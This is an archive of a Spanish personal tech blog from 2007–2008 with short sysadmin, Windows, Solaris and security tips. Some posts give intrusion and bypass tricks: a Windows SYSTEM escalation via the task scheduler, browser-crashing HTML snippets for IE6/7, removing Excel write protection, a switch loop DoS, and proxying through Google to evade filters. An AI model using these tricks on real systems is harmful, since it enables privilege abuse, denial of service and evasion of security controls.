Me pidio el archivo catalog y luego el archivo descriptions , que me propuse a bajar de la URL que mencione antes y colocarlos en sparc/5.8

Luego me fue pidiendo dependencias continuamente, y tuve que ir bajando una a una a base de prueba y error. Estas fueron las que me pidio:
common* , openssl* , zli^b* , tcpwrappers* y krb5*

Cuando hube bajado todas, por fin quedo instalado OpenSSH.

P.D. Los malos chicos de Blastwave permiten especificar /cdrom/cdrom0 como "repositorio" local, pero ningun otro directorio mas. Afortunadamente el servidor tenia instalado el daemon de ftp, asi que pude poner en el archivo de configuracion de pkg-get lo siguiente:

url=ftp://root:clave@127.0.0.1/tmp/openssh

lunes, mayo 05, 2008

Instalacion de paquetes en Solaris 8/9

Una especie de APT / Portage para Solaris 8/9.

Para info sobre Solaris 10, visitar http://www.blastwave.org

1. Verificamos que tenemos los parches necesarios:

showrev –p |grep <num>

Donde <num> es:

Solaris 8 Sparc: 110934
Solaris 8 x86: 110935
Solaris 9 Sparc: 113713
Solaris 9 x86: 114568

Si no lo tenemos, instalar con patchadd el ultimo cluster mas las ultimas revisiones.

2. Bajamos pkg-get a /tmp:

http://www.blastwave.org/pkg_get.pkg

3. Instalamos pkg-get:

pkgadd –d /tmp/pkg_get.pkg all

[y]es a todo

4. Bajamos wget:

Para Sparc:

http://www.blastwave.org/wget-sparc.bin

Para x86:

http://www.blastwave.org/wget-i386.bin

5. Lo movemos a /tmp renombrado a wget:

mv wget-sparc.bin /tmp/wget

6. Damos permisos de ejecucion:

chmod 755 /tmp/wget

7. Incluimos /tmp y /opt/csw/bin en el PATH temporalmente:

PATH=/tmp:/opt/csw/bin:$PATH
export PATH


8. Verificar que en /opt/csw/etc/pkg-get.conf tenemos la URL de un "repositorio":

Por defecto url=http://ibiblio.org/pub/packages/solaris/csw/unstable

Lista de mirrors en http://www.blastwave.orc/mirrors.php

9. Instalamos wget:

pkg-get –i wget

10. Borramos el binario de wget antiguo:

rm /tmp/wget

11. Corregimos el PATH actual borrando /tmp:

PATH=`echo $PATH |sed 's#\/tmp:##g'`:$PATH
export PATH


12. Incluimos /opt/csw/bin en el PATH del usuario que necesite instalar paquetes. En el .profile de su $HOME

13. Instalamos paquete:

pkg-get –i paquete

lunes, abril 28, 2008

Cambiar propietario de un archivo sin usar chown

En UNIX, si hay cuotas de disco definidas, en teoria solo el root puede cambiar el propietario de un archivo.

Pero existe un pequeño hack para cambiar el propietario de un archivo sin ser root, sin usar el comando chown.

Supongamos que soy vlan7 y quiero que Kela sea la propietaria de uno de mis archivos. Si Kela esta conmigo (podria hacerlo remotamente) podriamos hacer algo tal que asi con su:

Primero tengo que dar a Kela permisos de escritura en el directorio donde tengo el archivo que quiero que ella sea la propietaria:

vlan7$ ls -ld . archivo
drwxr-xr-x 2 vlan7 512 Apr 8 07:07 .
-rw-r--r-- 1 vlan7 7777 Apr 8 07:17 archivo
vlan7$ chmod go+w .
vlan7$ su kela
Password:
kela$ mv archivo archivo.tmp
kela$ cp -p archivo.tmp archivo
kela$ rm archivo.tmp
kela$ ls -l archivo
-rw-r--r-- 1 kela 7777 Apr 8 07:17 archivo
kela$ exit
vlan7$ chmod go-w .


El modificador -p de cp mantiene los permisos originales del archivo y la fecha de su ultima modificacion.

Despues de que Kela copie el archivo, vlan7 retira el permiso de escritura del directorio. Ahora Kela puede editar archivo, cambiar sus permisos o lo que quiera, ella es la propietaria.

viernes, abril 25, 2008

Oracle. Multiplexando el archivo de control

Para tolerancia a fallos, tras la creacion de nuestra bd, es recomendable hacer una copia de seguridad del archivo de control a otro disco duro del sistema.

Lo normal es usar SPFILE (binario), y solo convertirlo a PFILE (texto) cuando queremos consultarlo. Con SPFILE estos serian los pasos.

1. Hacer un alter (referenciar el archivo de control original y los multiplexados -copias-) en el SPFILE:

ALTER SYSTEM SET control_files = '$HOME/ORADATA/u01/ctrl01.ctl', '$HOME/ORADATA/u02/ctrl02.ctl' SCOPE=SPFILE;

2. Parar la bd:

shutdown inmediate

3. Crear el/los archivo/s de control adicional/es:

cp $HOME/ORADATA/u01/ctrl01.ctl $HOME/ORADATA/u02/ctrl02.ctl

4. Arrancar la bd:
startup

Al arrancar la bd, se leera el SPFILE, y el servidor Oracle mantendra todos los archivos de control listados en el parametro CONTROL_FILES.

miércoles, abril 09, 2008

Ataque fisico a un switch

Diria que poca gente sabe esto, pero basta conectar cada extremo de un cable directo a un par de bocas de la pared para conseguir causar un DoS al switch hacia donde van conectadas esas bocas.

Puedes tener el CPD bajo llave, o seguridad biometrica para acceder al CPD, pero date cuenta de que basta un solo cable directo para que un desaprensivo nos tire un switch en nuestra organizacion. Da igual que sea Cisco.

<EDIT 25-4-08>
Como alguno me ha comentado, para evitar eso existe Spanning-Tree, mediante el cual podemos usar topologias fisicas redundantes libre de bucles.

El problema de lo que comentaba es el broadcast, y si los switches no soportan Spanning Tree, DoS al switch. Basta que un switch no admita STP para que nos hagan un DoS a la red. Y no solo se cae el switch y la red, si tenemos equipos Win98, pantallazo azul.

Lo primero que hay que hacer para asegurar un switch es deshabilitar siempre los puertos que no se usan.

Si por algun motivo no se pueden desactivar los puertos que no se usan de un puente raiz, todos los puertos libres en el switch raiz o en el secundary root debemos protegerlos con un root guard.

Con estas dos medidas, si nos conectan o un simple cable directo, no pasara nada, pues no tendran conectividad con el puente raiz y/o no perteneceran a la topologia STP.

STP siempre bloquea al menos un puerto para datos (el broadcast para un switch es trafico de datos) por lo que la tormenta de broadcast se contiene independientemente de que el coste hacia el puente raiz sea identico por todos los caminos.

Si se conecta un cable directo de un puerto del switch raiz a otro puerto del mismo switch, sin STP seguro que cae, con STP activado habria que verlo, lo mejor es desactivar los puertos que no usamos.
</EDIT 25-4-08>

lunes, abril 07, 2008

Windows. Entrar como SYSTEM

En Windows el programador de tareas se ejecuta con privilegios de SYSTEM (mas que Administrador).

at XX:XX /interactive "cmd.exe"

Cuando se cargue el cmd, Finalizamos el proceso explorer.exe

En el cmd escribimos:

explorer.exe

Y ya tenemos privilegios de la cuenta SYSTEM.

Cerramos el cmd. Y si abrimos uno nuevo y escribimos

%username%

Nos devolvera SYSTEM.

Para evitar que nuestros usuarios hagan esto, si estamos en un dominio, podemos deshabilitar el uso del programador de tareas mediante una directiva de grupo.

miércoles, abril 02, 2008

proxy web

Buena lista de proxies por web:

http://www.stayinvisible.com/web_proxy_list.html

viernes, marzo 28, 2008

Añadir entradas a la pestaña Inicio del msconfig

regedit y...

Para todos los usuarios:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Para un usuario en concreto:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Basta con crear las claves nuevas que queramos, de tipo REG_SZ, nombre que queramos y ruta de nuestro ejecutable.

Windows: Bloquear de manera efectiva parasitos (*ware, virus...) de sitios dudosos

Podemos usar el archivo hosts para bloquear pop-ups de publicidad, banners, cookies de terceros, bugs de webs, spyware y hasta casi todos los hijackers.

En windows al realizar una resolucion de nombres, por defecto se lee primero el archivo hosts, y solo si tras leerlo el sistema no es capaz de resolver de nombre a IP, entonces consultamos a los servidores DNS que tengamos configurados.

Bien, si en el archivo hosts yo incluyo una linea tal que asi:

127.0.0.1 ad.doubleclick.net

¿Que es lo que ocurre?

Que conseguimos bloquear todos los archivos que nos intente transferir ese servidor DoubleClick que estamos viendo. Esto tambien nos protege de que el servidor pueda trazar lo que hacemos. En la Internet de hoy en dia es comun que servidores publicitarios como DoubleClick y muchos mas intenten abrir una conexion distinta a la pagina web que estamos viendo.

¿Tenemos que editar linea a linea el archivo hosts de nuestro Windows?

No. Nadie deberia tener que resolver un problema 2 veces. Y ya hay gente que se ha dedicado a recopilar estos sitios maliciosos con la ayuda de todos los usuarios de Internet.

El que yo uso es este:

http://www.mvps.org/winhelp2002/hosts.htm

Suele ser actualizado muy a menudo. En el momento de escribir esto es dia 28-Marzo-2008, y la ultima actualizacion a dia de hoy es del 9-Marzo-2008.

Se trata de un archivo comprimido que viene con un bat. Pero ese bat funciona mal, por ejemplo si abres el archivo comprimido y simplemente haces doble click en el .BAT

Yo lo que recomiendo es sobreescribir nuestro archivo hosts con el archivo hosts que estos buenos chicos nos proporcionan.

¿Donde esta el archivo hosts?

Depende de la version de Windows.

Windows 2K - C:\WINNT\SYSTEM32\DRIVERS\ETC
Windows XP - C:\WINDOWS\SYSTEM32\DRIVERS\ETC
Windows Vista - C:\WINDOWS\SYSTEM32\DRIVERS\ETC
Win 98/ME - C:\WINDOWS


Yo solo he usado Vista alguna vez en el trabajo. Usuarios de Vista, leed esto: http://www.mvps.org/winhelp2002/hostsvista.htm

¿Como? ¿Que ya no ves algo que antes veias?

Simplemente edita el archivo hosts y borra la linea que haga referencia al servidor que ya no ves.

Por ejemplo, el contador de visitas que utilizo en este blog lo han incluido. Pues yo simplemente he abierto mi archivo hosts y he eliminado las lineas que hacian referencia a statcounter.com , como por ejemplo esta:

127.0.0.1 my.statcounter.com

martes, marzo 18, 2008

Tengo la clave WEP pero DHCP esta desactivado

O metodo prueba y error, o...

-Capturar trafico con airodump

-Descifrar el archivo generado con la clave WEP

-Para obtener info sobre la red cargar el fichero descifrado en wireshark

-Deberiamos tener suficiente informacion de red para saber ya en que subred esta nuestro AP

Como colgar IE

Todas estas maneras funcionan para IE6, y algunas para IE7.

1. <STYLE>@;/* Source
2. <input type crash> Source
3. <body onLoad="window()"> Source
4. <style>*{position:relative}</style><table><input></table> Source
5. <script>for (x in document.write) { document.write(x);}</script> Source
6. Event handler crash. Source
7. Ordered list crash. Hay que hacer click en el primer item de la lista. Source
8. function getX( oElement )
{
var iReturnValue = 0;
while( oElement != null ) {
iReturnValue += oElement.offsetLeft;
oElement = oElement.offsetParent;
}
return iReturnValue;
}

miércoles, marzo 12, 2008

Solaris: Borrar archivos que no han sido accedidos en los ultimos 100 dias

En /var/adm pueden acumularse archivos muy viejos. Para borrar todos los que no hayan tenido acceso por el sistema en mas de 100 dias:

rm `find /var/adm -type f -atime +100 -print`

Solaris: Borrar archivos crash dump

Si nuestro sistema se llama vlan7system:

cd /var/crash/vlan7system
rm *

Quitar contraseña de escritura a archivo Excel 2007

En Excel 2007 un archivo se puede proteger con 2 contraseñas. Una de lectura, que es con la que se cifra el archivo en AES, y otra de escritura.

Si un archivo solo tiene contraseña de escritura la podemos quitar facilmente asi:

Supongamos que tenemos el archivo vlan7.xml

Lo renombramos a vlan7.xml.zip y lo abrimos con un descompresor, por ejemplo el WinRAR.

Editamos el archivo workbook.xml y buscamos la parte siguiente:

<fileSharing userName="vlan7" reservationPassword="hola"/>

Ahi esta el par user/pass: vlan7/hola. En un archivo sin contraseña de escritura ese atributo no existe. Bien, basta con borrar ese atributo, meter el xml dentro del ZIP de nuevo y renombrar vlan7.xml.zip a vlan7.xml

solaris_sucks:

Estaba yo curioseando el kernel de Linux, y al menos en la version 2.6.22.1 que es la que uso actualmente, me encontre con una cosa curiosa en el archivo arch/sparc64/solaris/entry64.S que es ASM.

En las lineas 40, 41 y 42, me encuentro con la siguiente etiqueta:

solaris_sucks:
/* Solaris is a big system which needs to be able to do all the things
* in Inf+1 different ways */


Para que luego digan que no hay piques entre los distintos S.O.s *nix...

Excel 2007 no sabe multiplicar (II)

Chris Lomont aclara absolutamente todo lo ocurrido AQUI.

En la pagina 15 viene la explicacion. El fallo se da cuando EAX contiene xFFFF. Ocurre porque cuando se produce desbordamiento en registro EBX, hay un incremento de EAX. El incremento en 16 bits (INC AX) no se comporta exactamente igual al incremento en 32 bits (INC EAX) y el resultado es un error en un salto posterior.

martes, marzo 11, 2008

Cliente de Terminal Server para Win95, Win98, WinMe, NT 4.0 y Win2000

Estos S.O.s de Windows no traen el cliente de Terminal Server por defecto. Podemos usar el que viene con XP SP2, que es compatible.

http://www.microsoft.com/downloads/details.aspx?FamilyID=80111f21-d48d-426e-96c2-08aa2bd23a49&displaylang=en

lunes, marzo 10, 2008

kismet para Windows

Kismet para Windows. En el momento de escribir esto, version Kismet 2007-10-R1.

Prerequisitos:

WinPcap. En el momento de escribir esto, Stable release: WinPcap 4.0.2 (9-Nov-2007); Latest release: WinPcap 4.1 beta3 (31-Ene-2008).

AirPcap Driver. En el momento de escribir esto, version AirPcap Driver V 3.2.1 (12/10/2007).

sábado, marzo 08, 2008

Añadir un medidor de PageRank de Google en tu web

<img src="http://www.pagerankmania.com/getrank.php/vlan7.blogspot.com?tr=y" border="0" width="44" height="15" alt="PageRank por www.PageRankMania.com">

Ghost for Linux

G4L is a hard disk and partition imaging and cloning tool. The created images are optionally compressed and transferred to an FTP server instead of cloning locally.

http://sourceforge.net/projects/g4l

viernes, marzo 07, 2008

Hackear password de Administrador local Windows Vista (con acceso fisico)

Chatear en el IRC por telnet

telnet dune.irc-hispano.org 6667
:dune.irc-hispano.org NOTICE IP_LOOKUP :*** Looking up your hostname...
:dune.irc-hispano.org NOTICE IP_LOOKUP :*** Couldn't resolve your hostname.
user vlan7 localhost localhost :soy vlan7
nick vlan7
PING :187058292
PONG :187058292
:dune.irc-hispano.org 001 vlan7 :Welcome to the IRC-Hispano IRC Network, vlan7
(...)
JOIN #vigo
PRIVMSG #vigo hola
PRIVMSG #vigo adios
QUIT


A cada PING que nos mande regularmente el servidor hay que responderle con un PONG con el mismo numero.

Se pueden usar los comandos del irc-hispano pero sin la /

domingo, marzo 02, 2008

dosbox. El mejor emulador de msdos

Hoy ya todo el mundo sabe lo que es el abandonware. Juegos viejos descatalogados.

Pero a principios de 1999 casi nadie en España sabia que eso se llamaba abandonware. Por eso abri una pagina de Abandonware en español. La segunda pagina de abandonware en español de todos los tiempos. Cree la primera lista de correo de abandonware en castellano. 1999-2001 fue la edad dorada del abandonware en castellano. Luego todo ese boom paso. Di a conocer el concepto de abandonware en España, y gracias a mi surgieron cien paginas mas. En ese momento lo deje, mi objetivo era dar a conocer el abandonware en España, objetivo que consegui.

Menos rollos. El mejor emulador de msdos es DOSbox. Existen versiones tanto para *nix como para windows. Va de lujo para jugar a juegos viejos de abandonware.

Que lo disfruteis.

viernes, febrero 29, 2008

Bloquear cache de Google. ISA Server

En la entrada anterior, titulada Google como proxy (II), Anonimo me comento que en su trabajo tienen bloqueado el acceso a la cache de Google.

Eso es una muy buena medida, pues si no todo el mundo se saltaria los bloqueos por URL usando la cache de Google. Ojo, reglas de bloqueo por URL, no por contenido.

En Google la informacion es muy escasa sobre como denegar el acceso a la cache de Google por parte de nuestros usuarios.

Por ejemplo, en ISA Server 2004, a mi se me ocurre crear un conjunto de URLs que contengan la palabra q=cache. Con esto conseguimos que todos los intentos de acceso a URLs que contengan dicha cadena, que si os fijais es usada por Google cuando navegamos por su cache, seran denegados.

Comente este tema con un amigo, que quiere permanecer en el anonimato, y segun el, el servidor que controla la cache de Google es 72.14.207.104

Esto ultimo no lo he comprobado, pero en principio bastaria con denegar todo acceso a dicha IP.

miércoles, febrero 27, 2008

Google como proxy (II)

Podemos aprovecharnos de que google tiene un servicio, quizas poco conocido, para adaptar webs a dispositivos moviles.

Si nos dirigimos a la direccion http://www.google.com/gwt/n? veremos que se nos presenta un formulario con una caja de texto donde introducir la URL.

Podemos usarlo como proxy, pues ningun administrador en su sano juicio bloqueara el acceso a google.

<EDIT 29-2-2008>
Creo que no me exprese bien. Claro que ningun administrador en su sano juicio bloqueara el acceso a google, pero si que puede facilmente denegar el acceso a la URL que mostre.

Sobre el comentario que me ha hecho Anonimo, decirle que una cosa es bloquear el acceso a google y otra muy distinta es denegar el acceso a la cache de google. Me has dado una idea para escribir mi siguiente post, gracias :)
</EDIT 29-2-2008>

lunes, febrero 18, 2008

Grave vulnerabilidad en el kernel de Linux 2.6.x - 2.6.24.1

En Kriptopolis leo una vulnerabilidad muy grave que afecta a las versiones del kernel de Linux en sus versiones 2.6.17 - 2.6.24.1

(Nota: En Kriptopolis dicen que los kernels afectados son 2.6.x - 2.6.21.1 , lo cual es falso, pues la funcion vmsplice no aparecio hasta la version 2.6.17)

Cualquier usuario del sistema puede convertirse en root, y ya hay al menos 2 exploits publicos. Original y variante.

Dejo una captura de imagen:



Ya existe parche.

Tambien existe una nueva version del kernel que soluciona el problema.

miércoles, febrero 13, 2008

BJBT 0.3.0.0, Por mi amigo chanchi

Mi amigo chanchi me envia la ultima version de su cliente de BitTorrent que presentara como Proyecto de Fin de Carrera. Es la version 0.3.0.0 y os podeis bajar este programa de nivel de AQUI.

Tambien se ha currado un mega PDF de documentacion de ¡557 paginas!, que evidentemente, no lo hace publico al menos hasta que presente su PFC.

Si quereis los fuentes .java vienen dentro de JAR. Desde el directorio java\jdk :

jar xf BJBT-0.3.0.0.jar

Muchas gracias chanchi, eres un crack tio :)

He actualizado Flash y ya no escucho sonido en youtube, etc

La ultima actualizacion de Flash parece que estropea una clave de registro.

Ir a

HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Drivers32

Crear una clave de nombre wavemapper y valor msacm32.drv

He leido que hay gente que tiene esa clave a .dvr y gente que simplemente no la tiene. Con eso lo han solucionado.

Tambien lei que aun asi a alguien no le funcionaba, y consiguio arreglarlo instalando K-Lite Codec Pack. Luego desde Inicio - Programas - K-Lite Codec Pack - Configuration - Codec Tweak Tool marcar [Registry] Fix non-working system sound y seguir adelante. Y ya le funcionaba.

Alternativas a TOR (II)

martes, febrero 05, 2008

Quitar publicidad de funpic.org

Aparte de este blog, tengo una pagina web personal desde principios de 1999.

En todo este tiempo he cambiado como una decena de veces de hosting.

Actualmente esta alojada en funpic.org , es un hosting gratuito de calidad, es rapido. Pero me molesta la ventana que aparece de publicidad, y asi es como yo la quite:

<BODY onload="vlan7fucksfunpic()">
<SCRIPT type=text/javascript>
function vlan7fucksfunpic() {
for(var i=0; i<document.all.length; i++) {
if (document.all[i].className == 'layer_main'){
var layer_ref = document.all[i];
if(layer_ref.style) {
layer_ref.style.visibility = 'hidden';
} else {
if(layer_ref.visibility) {
layer_ref.visibility = 'hide';
}}}}}
</SCRIPT>


Adios a su molesta publicidad. Todo lo que nos moleste os lo vamos a seguir rompiendo y nos lo vamos a saltar siempre. :)

<EDIT 28-4-08>
nealcaro me preguntaba como hacer esto en PHP.

Es complicado, pues PHP se ejecuta antes de llegar al navegador, por lo tanto antes de cargar el onload.

De todas formas se me ocurre un sucio hack para al menos conseguir que se cierre la publicidad inmediatamente despues de ser cargada, o incluso antes de ser cargada, habria que hacer pruebas:

echo "<body onload='" AquiElCodigo "'>";
</EDIT 28-4-08>

miércoles, enero 30, 2008

Windows: Defensa ante ataques de enumeracion de usuarios o recursos compartidos

No he hablado aqui de lo sencillo que es realizar un ataque contra un controlador de dominio, en el mas jugoso de los casos, de forma que estableciendo lo que se conoce como una sesion nula, podamos obtener muchisima informacion sobre usuarios y recursos compartidos de un sistema.

Con esta info, y sabiendo cosas como que el SID del usuario Administrador en Windows siempre acaba en 500, o conociendo algun nombre por defecto de algunos grupos que hay en un dominio, y combinando todo esto con herramientas como user2sid / sid2user, un atacante lo tiene mas sencillo para lograr una escalada de privilegios en nuestros sistemas.

No me apetece explicar el ataque sino la defensa.

Por defecto cualquier Windows permite la enumeracion de usuarios y recursos compartidos, lo cual me parece lamentable.

Podemos asegurar un poco mas nuestros sistemas manipulando el valor de la siguiente clave de registro:

HKLM\SYSTEM\CurrentControlSet\Control\
LSA


La clave se llama RestrictAnonymous

Admite 3 posibles valores:

0 Permisos por defecto, es decir, damos toda la info. Patetico.
1 No permitir enumeracion de usuarios SAM / recursos compartidos.
2 Acceso prohibido a menos que permitamos especificamente acceso anonimo.

Yo en todos los manuales de seguridad que he leido, papers serios incluso, he visto que directamente recomiendan usar el valor 2. Pero yo recomendaria establecer el valor 1, que si bien no protege totalmente contra un ataque de enumeracion, si que impide hacerlo estableciendo una sesion nula, etc, etc. Esto es lo que podria saber el 99% de los atacantes. Lo tipico.

¿Por que yo no recomiendo establecer el valor 2?

Porque a pesar de ser mas seguro, nos quita demasiadas funcionalidades como para que la balanza seguridad/perdida de funcionalidades se incline hacia el lado de la seguridad.

¿Como cuales? Que esto es lo que no he leido en ningun manual, incluso he leido que Microsoft recomienda establecer el valor 2...

-Ningun equipo miembro del dominio que sea inferior a Windows 2000 podra establecer un canal seguro en la comunicacion con el servidor.

-Ningun controlador de dominio degradado aunque este en un dominio de confianza podra establecer un canal seguro net logon contra el controlador de dominio.

-Usuarios de Windows NT o MAC no podran cambiar su contraseña cuando esta caduque.

-En "Mis sitios de red" dejaras de poder ver los equipos de la red, a menos que no este establecido el valor 2 en alguno de estos equipos: el master browser del dominio, el master browser o el backup master browser.

No se de ningun efecto secundario mas... ¿alguien conoce alguno mas? Lo de siempre, creditos a ti si me sorprendes... :)

Ahora como conclusion una pregunta...

¿Y en un controlador de dominio que corra bajo Samba bajo UNIX? ¿Existen estos problemas de sesiones nulas, etc?

¿Cuestion de probar un ataque de enumeracion de usuarios contra un DC powered by Samba bajo UNIX/Linux no?

:)

jueves, enero 24, 2008

Crear un archivo vacio (0 bytes) en msdos

En UNIX nada mas sencillo que:

touch archivo.txt

Pero, ¿y en msdos?

Mi compañero de trabajo Jovi queria crear un archivo vacio desde un .BAT, y esa fue la pregunta que me hizo.

Lo primero que me vino a la mente fue:

echo >archivo.txt

No. Esto crea un archivo que contiene la frase ECHO esta activado

Siguiente intento. Recorde la existencia en msdos del dispositivo NUL. Probe algo asi:

NUL >archivo.txt

Error. Vaya, juraria que en un msdos puro deberia funcionar eso...

Siguiente idea. Redirigir la salida de limpiar la pantalla a un archivo.

cls >archivo.txt

Tampoco. Esto crea un archivo de 1 byte con un caracter extraño.

Pregunte a google y me explico una redireccion usada en msdos.

command 2> file Write standard error of command to file

Bien, usemos pues cualquier comando que no de error.

echo 2>archivo.txt
dir 2>archivo.txt

(...)

Solved :)

lunes, enero 21, 2008

Grave vulnerabilidad Data Disclosure en Wordpress

En todas las versiones de wordpress hasta la fecha descubri que existe un fallo de diseño que permite a los usuarios registrados ver las IPs y los mails (estos ultimos si han sido introducidos) de todos los usuarios que hayan hecho algun comentario.

Basta con logearse e ir a la opcion Comentarios o a la opcion Administrar y ahi pinchar en cualquier numero de los comentarios para ver estos datos sensibles.

Googleando descubri un plugin hecho por Kaf Oseo, pero solo solucionaba el problema si entrabamos por la opcion de comentarios. Por la opcion administracion seguia sin resolver el problema. Ademas lo hacia reduciendo la funcionalidad del blog en wordpress, pues lo hacia a costa de reducir los privilegios de los usuarios de Autor a Colaborador.

Gracias a mis ideas, mi amigo Javitxu mejoro el plugin que yo le mostre.

Podeis bajarlo de http://one.xthost.info/vlan7/erase-commenter-details.zip

En nuestra modificacion del plugin original de Kaf Oseo explicamos un poco por encima las modificaciones hechas para mejorarlo.

Hasta la fecha, nuestro plugin es el mejor para solucionar estos 2 graves fallos de diseño de Wordpress. ¿Algun hacker dispuesto a hacernos lo que los angloparlantes llaman hack the hack? Somos todo oidos... :)

Keep the good work folks.

P.D. He dejado el siguiente mensaje en el hilo correspondiente de los foros oficiales de Wordpress (http://wordpress.org/support/topic/143772:

My friend Javitxu and me have developed a full solution based in Kaf Oseo plugin because it's GPL.

I've wrote a post in my personal blog ( UNIX & CISCO & HACKS ) with a link to the improved wordpress plugin. The post is dated January 21, 2008.

Any ideas would be appreciated.

Best regards,

Keep the good work folks.

vlan7

net2ftp a web based ftp client

¿El administrador de tu trabajo / universidad / etc ha bloqueado el acceso al puerto FTP (por defecto 21)?

¿Solo te permite salir por el puerto 80 (http) y necesitas subir archivos a un FTP?

Una solucion limpia, sin necesidad de instalar ningun programa:

http://www.net2ftp.com/

viernes, enero 18, 2008

Windows: Dejar de compartir recursos administrativos

En support de Microsoft en http://support.microsoft.com/kb/314984/ podemos leer:

Los recursos compartidos administrativos ocultos creados por el equipo (como ADMIN$ y C$) pueden eliminarse, pero el sistema vuelve a crearlos después de detener y reiniciar el servicio Servidor o después de reiniciar el equipo. Los recursos compartidos ocultos creados por los usuarios pueden eliminarse y no vuelven a crearse después de reiniciar el equipo. Microsoft Windows XP Home Edition no crea recursos compartidos administrativos ocultos.

Pero no explican como hacerlo de forma permanente.

Lo primero que nos podria venir a la mente es crear un .BAT que se ejecute al inicio que borre estos recursos administrativos.

Pero una solucion mas limpia es editar el registro:

En HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters añadir las siguientes claves de tipo DWORD y de valor 0:

AutoShareServer
AutoShareWks

miércoles, enero 16, 2008

Puretext

¿Harto de querer copiar texto con formato como texto plano en Windows teniendo que abrir previamente el bloc de notas, hacer paste, seleccionar todo y copiar?

Aqui tienes la solucion en un ejecutable de tan solo 28KB:

http://www.stevemiller.net/puretext/

viernes, enero 11, 2008

Adminstudio ICEs

Mi compañero de trabajo Julio, Industrializador de Aplicaciones, ha creado un PDF con un resumen de los significados de los posibles ICEs de Adminstudio.

Podeis bajaros el PDF de AQUI.

Supercopier. Sustituto de la herramienta de copia interna de Windows

¿Cuantas veces se te ha parado una copia de archivos en Windows antes de que terminara? ¿No has maldecido porque por ejemplo la ruta destino era demasiado larga para un archivo cuando llevabas copiado el 80% de 30GB? ¿Que archivos se copiaron? ¿Cuales no?

Bien, existe una utilidad francesa que se integra en Windows y que fue creada precisamente para evitar estas situaciones. ¿Que un archivo no se puede copiar? Pues te lo dice, y puedes continuar con la copia de los archivos restantes.

La pagina oficial de downloads del Supercopier es http://supercopier.sfxteam.org/modules/mydownloads/

Para mi es muy util...

miércoles, enero 09, 2008

Imprimir paginas man (II)

Para generar un PDF a partir de una pagina man:

man -t pagina_man | ps2pdf -> ~/Desktop/pagina_man.pdf

Listo para imprimir.

jueves, enero 03, 2008

Resetear el password de admin de phpBB SIN USAR phpmyadmin

Usando phpmyadmin son unos pocos clicks, basta con usar la interfaz web para editar el registro admin y editar el campo password dejando seleccionado MD5. Sin phpmyadmin, todo a base de comandos para acceder a la bd MySQL a la old-skool seria algo asi:

Identificamos el user/pass MySQL:

En /etc/phpbb2/config.php (Nota: En el paquete Debian el archivo /var/www/phpbb2/site/config.php apunta a /etc/phpbb2/config.php) buscar:

$dbhost = "localhost";
$dbname = "phpbb2";
$dbuser = "vlan7";
$dbpasswd = "password";


Una vez tenemos esta info, reseteamos el password del admin.

Nos conectamos al motor MySQL por linea de comandos:

mysql phpbb2 -u vlan7 -p
Enter password:
mysql>


Por defecto el usuario administrador es admin, pero basta esta query para que se nos devuelvan todos los usuarios administradores:

mysql> select * from phpbb_users where user_level = 1;

Supongamos que el user administrador es vlan7. Usemos esta query para obtener toda la info de ese usuario, incluido su password cifrado:

mysql> select * from phpbb_users where username = 'vlan7';

Para cambiar el password, haremos un UPDATE tal que asi:

mysql> UPDATE phpbb_users SET user_password=MD5("nuevo_password") where username = 'vlan7';

Y problema resuelto :)

jueves, diciembre 27, 2007

vi: Limpiando HTML no hecho a mano de BASURA

Nada mejor que un editor de textos para producir paginas HTML/CSS.

Pero el 99% de las paginas de internet, si es que estan hechas en HTML y no en basuras tipo Flash, ASP y demas, estan hechas con programas de diseño web que SIEMPRE dejan basura, y jamas podran generar un HTML limpio, elegante y optimizado hecho a conciencia con un editor de textos.

Por ejemplo. Una simple tabla hecha con el Word puede ser tal que asi:

<td class=xl261 style='border-top:none' x:num x:fmla="=(E77*7+F77*7)">vlan7</td>

Bien. Abramos vi, y en modo comando escribimos:

:%s//<td>/g

Resultado:

<td>vlan7</td>

Como debe ser.

trickle: Limitar el ancho de banda en programas Linux que no lo permitan

Siempre que tengo que mover backups utilizo sftp. En ocasiones esos backups ocupan del orden de GB, y sftp no tiene opcion para limitar el ancho de banda que queremos que ocupe.

Una solucion elegante para limitar el ancho de banda de programas que no permitan configurar esto por si mismos, es usar trickle. Esta en el Portage de Gentoo y su uso es muy sencillo.

Para limitar la velocidad de subida usamos el parametro -u y para limitar la de bajada usamos -d . Por ejemplo:

trickle -d 77 -u 27 sftp vlan7@servidor.com

miércoles, diciembre 26, 2007

Alternativas a TOR

martes, diciembre 18, 2007

Recuperar archivos borrados

Recuva es freeware y es ya un proyecto maduro que da muy buenos resultados.

Borrar la informacion de archivos en el espacio libre en disco para dificultar su recuperacion

De la pagina de Eraser:

Eraser is an advanced security tool (for Windows), which allows you to completely remove sensitive data from your hard drive by overwriting it several times with carefully selected patterns. Works with Windows 95, 98, ME, NT, 2000, XP, Windows 2003 Server and DOS.
Eraser is Free software and its source code is released under GNU General Public License.

The patterns used for overwriting are based on Peter Gutmann's paper "Secure Deletion of Data from Magnetic and Solid-State Memory" and they are selected to effectively remove magnetic remnants from the hard drive.

Other methods include the one defined in the National Industrial Security Program Operating Manual of the US Department of Defence and overwriting with pseudorandom data. You can also define your own overwriting methods.


He intentado recuperar datos con una de mis herramientas favoritas para ello: Recuva, y no he podido. Lo cual me hace pensar que Eraser es bueno.

miércoles, diciembre 12, 2007

Bit Torrenet 0.1.11 Por mi amigo chanchi

Mi amigo chanchi me manda un mail diciendome:

Hola vlan7,

Aqui va mi version 11 dias despues, quizas pase el visto bueno del profesor

chanchi


Podeis descargarlo de AQUI

Muchas gracias chanchi por enriquecer una vez mas mi blog con un programa avanzado :)

sábado, diciembre 01, 2007

Apatch: Haz mas ligero tu MSN Messenger

Estaba yo chateando en el IRC con mi amiga Kela y la conversacion en un punto fue tal que asi:

vlan7: -Nena, tienes 2 procesos del messenger corriendo, ¿los tienes en la misma maquina?

Kela: Si.

vlan7: ¿Y como lo has conseguido?

Kela: http://apatch.org/index.php

vlan7: Voy a mirar.

(pasa el tiempo)

vlan7: Uau nena, eso es un hack! No solo puedes correr mas de una instancia del messenger, sino que ademas puedes quitar mucha mierda que trae el messenger!

Kela: :)

lunes, noviembre 26, 2007

Bit Torrenet 0.1.1 Por mi amigo chanchi

Mi amigo chanchi se ha currado como Proyecto de Fin de Carrera un cliente BitTorrent.

Me envia un mail diciendome:

Hola vlan7,

